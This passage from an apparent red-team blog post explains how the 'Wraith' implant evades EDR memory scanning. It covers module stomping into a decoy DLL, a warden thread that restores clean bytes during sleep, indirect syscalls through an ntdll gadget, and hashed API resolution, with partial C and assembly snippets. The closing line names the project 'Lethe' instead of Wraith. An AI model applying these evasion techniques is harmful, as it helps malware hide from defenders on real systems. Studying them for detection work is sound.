{&#39;v&#39;,&#39;e&#39;,&#39;r&#39;,&#39;.&#39;,&#39;d&#39;,&#39;l&#39;,&#39;l&#39;,0},<br>    // ...<br>};</pre><p>For each candidate, Wraith maps a fresh copy of the DLL (preferring \KnownDlls\ to avoid disk reads), locates its .text section, and checks whether it is large enough:</p><pre>// Map a clean view of the decoy via KnownDlls (no disk I/O)<br>HANDLE section = NULL;<br>NtOpenSection(&amp;section, SECTION_MAP_READ | SECTION_MAP_EXECUTE,<br>              &amp;object_attrs);<br><br>PVOID view = NULL;<br>NtMapViewOfSection(section, current_process, &amp;view, ...);<br><br>// Find and measure the .text section<br>PVOID text_start;<br>SIZE_T text_size;<br>find_text_section(view, &amp;text_start, &amp;text_size);<br><br>if (text_size &gt;= agent_size) {<br>    // This decoy fits — save its original bytes<br>    memcpy(original_bytes, text_start, text_size);<br>}</pre><p>Two copies are saved to the heap: the original DLL bytes and the agent bytes. The memory region itself , now containing the agent code , is still typed MEM_IMAGE, still appears backed by the decoy DLL file, and still has an RX protection flag. From the outside, it is indistinguishable from a legitimately loaded module.</p><h3>Implementation: The Sleep Cycle and the Warden Thread</h3><p>Module stomping solves the static memory signature problem. But there is a window during which the agent code is actually present in that region: while it is executing.</p><p>The moment the beacon thread goes to sleep , the long idle period between check-ins , is exactly when EDRs are most likely to perform a memory scan. Wraith addresses this with a warden thread that performs a coordinated swap.</p><p>The mechanism uses two NT events for synchronization between the beacon thread and the warden:</p><pre>beacon thread                    warden thread<br>─────────────────                ─────────────────<br>signal: &quot;going to sleep&quot; ──────► <br>                                 restore original DLL bytes → .text<br>                                 set protection: RX<br>                                 wait: &quot;wake me when you return&quot; ◄──<br>NtDelayExecution(sleep_ms)<br>signal: &quot;I&#39;m awake&quot; ──────────►<br>                                 restore agent bytes → .text<br>                                 set protection: RX<br>                                 signal: &quot;ready&quot; ──────────────────►<br>◄────────────────────────────── receive: &quot;safe to execute&quot;<br>continue beacon loop</pre><p>The warden thread implementation:</p><pre>// Warden waits for the beacon to signal sleep<br>NtWaitForSingleObject(event_sleep, FALSE, &amp;timeout);<br><br>// Swap in original DLL bytes — scanner now sees clean memory<br>ULONG old_protect;<br>NtProtectVirtualMemory(current_process, &amp;region_base, &amp;region_size,<br>                       PAGE_READWRITE, &amp;old_protect);<br>memcpy(stomped_region, original_dll_bytes, region_size);<br>NtProtectVirtualMemory(current_process, &amp;region_base, &amp;region_size,<br>                       PAGE_EXECUTE_READ, &amp;old_protect);<br><br>// Wait for beacon to wake<br>NtWaitForSingleObject(event_wake, FALSE, NULL);<br><br>// Restore agent code for execution<br>NtProtectVirtualMemory(current_process, &amp;region_base, &amp;region_size,<br>                       PAGE_READWRITE, &amp;old_protect);<br>memcpy(stomped_region, agent_bytes, region_size);<br>NtProtectVirtualMemory(current_process, &amp;region_base, &amp;region_size,<br>                       PAGE_EXECUTE_READ, &amp;old_protect);<br><br>NtSetEvent(event_sleep, NULL); // Signal: safe to run</pre><p>During the sleep window , which, with a 5-second sleep and 10% jitter, represents roughly 99.9% of the implant’s total runtime , a memory scanner sees:</p><pre>BaseAddress:  [stomped region]<br>Type:         MEM_IMAGE<br>Protect:      PAGE_EXECUTE_READ<br>Content:      [original clbcatq.dll .text bytes]<br>Entropy:      ~5.4 bits/byte<br>Disk match:   YES</pre><p><strong><em>There is nothing to flag</em></strong>.</p><p>An important edge case worth noting: this technique only works when the agent lives inside a <em>different</em> PE’s memory range. If the agent is running as a standalone EXE and stomps its own .text, the warden thread&#39;s memcpy call , which lives in that same .text gets overwritten before it can complete. Wraith skips sleep masking entirely in standalone EXE mode for this reason.</p><h3>Implementation: Indirect Syscalls . Blending at the API Layer</h3><p>Blending is not only about memory content. EDRs also monitor <em>how</em> code makes system calls.</p><p>The standard approach to evading API hooks is to call NT functions directly. But a naive direct syscall , placing the syscall instruction inside the implant&#39;s own code , creates another anomaly: the kernel&#39;s call stack record shows a syscall originating from a private, file-unbacked region.</p><p>Wraith’s approach is indirect syscalls: the syscall instruction is never executed from Wraith&#39;s code. Instead, Wraith resolves a syscall; ret gadget inside ntdll&#39;s own .text and jumps to it:</p><pre>// Locate the first &quot;syscall; ret&quot; (0F 05 C3) in ntdll .text<br>BYTE *scan = ntdll_text_section;<br>for (size_t i = 0; i &lt; text_size - 2; i++) {<br>    if (scan[i] == 0x0F &amp;&amp; scan[i+1] == 0x05 &amp;&amp; scan[i+2] == 0xC3) {<br>        gadget = &amp;scan[i];<br>        break;<br>    }<br>}</pre><p>Each syscall stub then becomes:</p><pre>; Windows x64 syscall convention: arg1 in R10, SSN in EAX<br>mov  r10, rcx<br>mov  eax, [g_ssn_NtAllocateVirtualMemory]<br>jmp  [g_gadget]           ; jump into ntdll&#39;s syscall;ret</pre><p>The call stack at the point of the syscall instruction shows it originating from ntdll, which is correct, legitimate, and expected. The SSN (syscall number) is resolved at runtime using Halos Gate: if a target function is hooked, Wraith walks neighboring exports in the sorted ordinal table and derives the correct SSN from an unhooked neighbor.</p><p>Function names never appear in the binary either. All resolution happens by DJB2 hash, computed at build time and embedded as integer literals:</p><pre>// No string &quot;NtAllocateVirtualMemory&quot; anywhere in the binary.<br>// Hash computed by the build tool and substituted before compilation.<br>{ 0xA1B2C3D4UL, &amp;g_ssn_NtAllocateVirtualMemory },<br>{ 0xE5F60718UL, &amp;g_ssn_NtCreateThreadEx        },<br>// ...</pre><h3>The Detection Surface in Practice</h3><p>Putting it together, here is what a memory scanner sees at each phase of the Wraith beacon loop:</p><p>While sleeping (&gt;99% of runtime):</p><pre>Region type:    MEM_IMAGE<br>Protection:     PAGE_EXECUTE_READ<br>Content:        Original decoy DLL bytes<br>Entropy:        5.0 – 6.5 bits/byte<br>Disk match:     Yes (original bytes restored before sleep)<br>Syscall origin: N/A (not executing)</pre><p>While executing (beacon loop iteration):</p><pre>Region type:    MEM_IMAGE<br>Protection:     PAGE_EXECUTE_READ<br>Content:        Agent code (x64 instructions — moderate entropy)<br>Disk match:     No (content diverges from decoy DLL)<br>Syscall origin: ntdll .text (via gadget jump)</pre><p>The detection window is narrow and unavoidable, the agent must execute to do anything. But the exposure is brief, and the agent code itself (raw x64 instructions) does not carry the high-entropy signature of encrypted data. The critical insight is that <strong>encryption is not the same as legitimacy</strong>. Encrypting your shellcode at rest raises entropy and eliminates file backing. Replacing it with real DLL bytes does the opposite.</p><h3>Closing Thoughts</h3><p>The conventional wisdom, encrypt everything, stay in memory, expose nothing, made sense in an era when EDRs did static file scanning and memory analysis was rare. Modern EDR products do continuous memory introspection, call-stack analysis, and entropy-aware scanning. In that environment, <strong>maximum encryption produces maximum anomaly</strong>.</p><p>Blending inverts the model. Rather than asking <em>how do I hide this?</em>, it asks <strong><em>how do I make this look like something that belongs here?</em></strong> The answer requires understanding what legitimate Windows memory actually looks like, file-backed, moderately entropic, mapped rather than private , and building an implant that matches those properties at every phase of its lifecycle.</p><p>Wraith’s module stomping, warden-thread sleep masking, and indirect syscall model are each an answer to a different dimension of that question. None of them are magic. Each one closes a gap that the traditional “encrypt everything” model leaves open.</p><p>The lesson from building Lethe is that detection <strong>evasion is not primarily a cryptography problem. It is a mimicry problem</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae88ea420529" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>